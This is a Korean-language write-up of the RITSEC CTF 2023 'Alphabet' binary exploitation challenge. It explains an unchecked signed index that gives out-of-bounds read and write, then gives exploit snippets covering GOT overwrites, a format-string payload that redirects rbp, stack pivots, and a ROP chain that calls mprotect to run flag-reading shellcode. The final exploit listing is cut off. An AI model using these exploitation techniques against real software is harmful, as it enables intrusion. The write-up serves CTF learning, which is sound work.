RITSEC CTF 2023 - Alphabet (oob read, write)
This new protocol let’s you update the official English alphabet in real time! Easy as A#_
nc alphabet.challenges.ctf.ritsec.club 1337
- [21 solves / 500 points]
웬만한 씨텝은 취약점 찾는 것보다 익스가 훨씬 더 어려운 것 같다.. ㅠㅠ 이 문제가 근래 풀어본 문제 중에 익스가 가장 힘들고 어려웠다.
Analysis
먼저 main 함수이다.
참고로 seccomp이 있어서 확인해야 한다. 대충 flag.txt orw해야하고 mprotect 함수가 허용되어 있다.
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
주석은 익스와 관련된건데.. 일단 무시하고 코드 분석을 해보자. fgets 함수로 0x2D 크기만큼 buf에 입력을 받아서 오버플로우는 일어나지 않는다. \n이 오면 break하고 입력한 size와 함께 use_packet 함수를 실행한다. size가 44보다 크면 v3 변수가 정의되지 않으니 조심하자. 익스할 때 fgets@got를 gets함수로 덮었었는데 v3 변수가 정의되지 않아 익스 코드에서 억지로 정의해줬다.
use_packet 함수를 살펴보자.
1 | void __fastcall use_packet(char *buf, int len) |
처음 if문으로 이것저것 검사한다. 입력값의 첫 글자는 Z여야 한다. 두 번째 글자는 \x08이어야 한다. 그리고 calc_checksum 함수로 입력값의 마지막 글자를 검사하고 있다. 익스 코드 짤 때 python으로 calc_checksum 함수를 구현해서 마지막 글자 한 바이트를 넣어주자. 그 다음 글자는 buf의 index로 사용하고 있고, 마지막에는 bss 영역에 값을 복사해주고 있다. payload를 보내야하는 형식은 아래와 같다. (구조체 정리)
1 | payload = b'Z\x08' |
idx1과 idx2 크기 제한을 하고 있는데, 음수는 제한하지 않아 oob를 의심할 수 있다. (그래서 위의 구현에서 signed=True를 사용했다.)
이제 취약점을 찾아보자. *ptr = *&buf[idx1 + 18]; 이 라인으로 *ptr을 정의해주는데 바로 아래 줄에서 printf로 ptr을 출력해주기 때문에 스택에 있는 주소를 leak할 수 있다.(oob read) 그리고 *&buf[idx2 + 18] = *ptr; 이 라인을 통해 oob write가 발생할 수 있다. 자. 이 두 취약점이 발생할 수 있는 이유는 idx1와 idx2가 우리의 입력값이고, 이 입력값 인덱스를 검증하지 않아서 buf에서 벗어난 곳에 접근할 수 있기 때문이다.
oob write는 익스할 때 아래처럼 구현해서 사용했다.
1 | def aawb(addr, val): |
1 | *ptr = *&buf[idx1 + 18]; |
입력값이 idx2니까 payload에서 idx2에 들어갈 부분은 ptr - buf - 18이다. 위의 내가 만든 python 함수 aawb에서는 ptr을 addr로 지정했다. 이 위치에 들어갈 값은 idx1에 따라 결정되는데 이것은 libc에서 /bin/sh 문자열을 찾는 것처럼 next(libc.search(bytes([val])) - buf - 18로 작성해주었다. - buf - 18을 해준 이유는 idx2에 들어갈 값을 찾는 것과 동일한 원리이다. 참고로 next(libc.search(bytes([val]))은 libc에서 val 값을 찾는 것인데, val은 한 바이트이다.
왜 한 바이트씩 찾아서 값을 써줄까? 만약 x 주소에 0x41424344이라는 값을 쓰고 싶다고 하자. 이를 위해서 0x41424344이 저장된 주소를 찾아야 한다. 하지만 저 값이 저장된 주소는 찾기가 힘들 수도 있다. 그래서 한 바이트씩 찾아 써주는 것이다. 전체 값을 쓰기 위해서 aaw라는 함수를 정의했고 쓰고 싶은 값 길이만큼 aawb를 호출해서 값을 쓴다.
문제에서 while(1)로 입력값을 계속 쓸 수 있어서 이와 같은 발상이 가능했다.
마지막으로 우리가 python으로 구현해야할 calc_checksum이다.
1 | __int64 __fastcall calc_checksum(const void *buf, int size) |
xor을 두 번하면 원래대로 돌아오는 성질을 이용하면 된다.
1 | def calc_checksum(data): |
Solve
- stack과 libc base를 구한다.
- 직접 구현한
aaw함수를 이용하여 rop payload를bss영역에 써준다.
- 왜 이런 payload를 썼는지는 아래에서 이해할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15bss = 0x404800 # bss의 정중앙
# (!)
rop_payload = b''
rop_payload += p64(libc.sym['gets'])
rop_payload += p64(libc.sym['printf'])
rop_payload += p64(ret)
rop_payload += p64(0x42424243)
rop_payload += p64(0x42424244) # 404820
# (!!)
rop_payload += p64(pop_rsp) # <----!!!
rop_payload += p64(buf + 0x50) # 두 번째 스택 피봇팅
aaw(bss, rop_payload)
got들을 덮어준다.
free@got -> printf,__stack_chk_fail@got -> ret,fgets@got -> gets- 이를 위해 bss 영역에
p64(libc.sym['gets']),p64(libc.sym['printf']),p64(ret)을 써주었다.(!) - got를 덮을 때는
aaw함수를 사용하지 않고 바로 paylaod를 보내서 덮어주었다. (쓸 필요성 못 느낌) - 왜냐하면
fgets@got를gets함수로 덮을 때 만약 한 바이트씩 덮게 된다면 한 바트씩 바뀐 잘못된 주소를 호출하기 때문이다. fgets@got -> gets덮을 때b'a' * 0x12을 추가로 보내주었다. 왜냐하면free@got을 덮어서printf로 덮어서 fsb가 발생하는 것을 노렸는데, 만약 저 더미데이터를 보내주지 않으면 글자수가 17자로fsb로 값을 쓰기엔 턱없이 부족하기 때문에 혹시몰라 더미데이터도 함께 보내주었다.
(현재 상황) main함수에서 fgets 대신 gets가 실행되므로 bof가 터짐! (카나리때문에 추가적으로 __stack_chk_fail@got을 ret으로 덮어줌!) calc_checksum 함수에서 fgets 함수 대신 printf가 실행되므로 fsb가 터짐!
fsb를 이용하여rbp를 변경하여 흐름을bss영역으로 돌린다. 이bss영역은 2번에서 적은 부분(!!)이고pop_rsp를 실행할 것이다. (스택 피봇팅 1) <- 참고로 여기서 흐름이bss영역으로 바뀌어서, 즉rbp가bss영역의 주소로 바뀌어서 조금 안좋은 일이 일어날 수 있다. 이는 맨 마지막에 이야기한다.***>
fsb는calc_checksum함수에서 터진다. 이 함수안에서의rbp는calc_checksum함수를 호출한use_packet의rbp가 저장된 스택 주소이다.buf와 위 스택 주소의 offset은 0x90이다.0x404820으로rbp를 변경시키기 위해ln을 이용하여0x20을 8 바이트 쓰고hn을 이용하여0x4048을 2 바이트 쓰자.1
2
3
4
5
6
7
8
9
10
11
12
13
14payload = b'Z\x08' # 이걸 안하면 calc_checksum의 free(printf)가 호출이 안됨
payload += b'%30c%38$ln%16424c%39$hn'
payload = payload.ljust(0x40, b'a')
payload += p64(stack - 0x90)
payload += p64(stack - 0x90 + 1)
# (!!!)
payload += p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi) + p64(0x100)
payload += p64(pop_rdx_r12) + p64(0x7) + p64(0)
payload += p64(libc.sym['mprotect']) # 실행할수 있도록 권한 바꿔주고
payload += p64(pop_rdi) + p64(0x404c00)
payload += p64(libc.sym['gets']) # 여기에 쉘코드 입력 후
payload += p64(0x404c00) # 점프
- 그럼 이제 흐름이
bss영역의 아래 코드로 바뀌는데, 4번에서 스택에 써준 코드(!!!)로 이동한다. (스택 피봇팅 2) - 마지막으로
mprotect함수로 bss 영역 실행가능하게 설정해주고gets함수가 실행되니flag.txtorw하는 쉘코드를 보내주자.
*** calc_checksum 함수에서 fsb를 이용하여 rbp를 bss영역으로 바꿔주었다. 여기까진 괜찮은데 그 다음 입력에서 문제가 발생할 수도 있다. (실제로 발생했다.) 지금 흐름 상황에서는 if문 안으로 들어가면 안된다.
1 | if ( /* 이미 진행됨 */ && calc_checksum(buf, len) == buf[len - 1] /* 마지막 바이트 검사*/ ) |
의도하지 않은 상황이 발생할 수도 있으므로 익스하는데 필요하지 않은 코드는 최대한 실행시키지 말자는 생각을 가져야 한다. 사실상 마지막 바이트 검사는 틀릴 것이고 중요한 것은 buf와 len을 rbp를 기준으로 참조하기 때문에 위험하다. 그래서 아래 노란색으로 음영진 주소에서 터진다.
그래서 실제로 터진 주소(rbp-0x48)에는 접근 가능한 적당한 주소 넣어주고 len 에는 1을 넣어줬다.
1 | aaw(0x404820 - 0x4c, p32(1)) # len |
Exploit Code
1 | from pwn import * |